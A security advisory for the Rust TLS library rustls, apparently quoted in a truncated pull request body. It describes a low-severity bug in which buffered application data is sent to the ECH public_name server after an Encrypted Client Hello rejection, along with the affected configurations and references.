• Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N

References

• https://crates.io/crates/rustls
• https://rustsec.org/advisories/RUSTSEC-2026-0346.html
• https://github.com/rustls/rustls/pull/3299

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).

Details

When a server rejects Encrypted Client Hello (ECH), the client completes the
handshake using the outer ClientHello and authenticates the server against the
ECH config's public_name. At the end of that handshake, rustls encrypted and
queued any application data buffered via ClientConnection::writer() before
queueing the ech_required alert.

The application correctly receives
Error::PeerIncompatible(ServerRejectedEncryptedClientHello), but the next
write_tls() call (needed to send the alert) also sends the buffered
application data. Plaintext meant for the inner server therefore goes to the
client-facing server named by public_name.

That server is authenticated, so this is not exploitable by an unauthenticated
party, but it violates RFC 9849 section 6.1.6, which requires the client to
abort with ech_required "before sending any application data to the server".

This affects only clients that:

• use EchMode::Enable (GREASE ECH is not affected),
• write application data before the handshake completes, and
• connect to a server that rejects their ECH config (for example, because it is stale).

The underlying ordering bug is older, but before 0.23.44 the client checked
the server certificate against the inner server name rather than public_name,
so certificate verification failed first and no data was sent.

Severity

• CVSS Score: 2.3 / 10 (Low)
• Vector String: `CVSS:3.1/

[!IMPORTANT]
✂ PR body was truncated to here.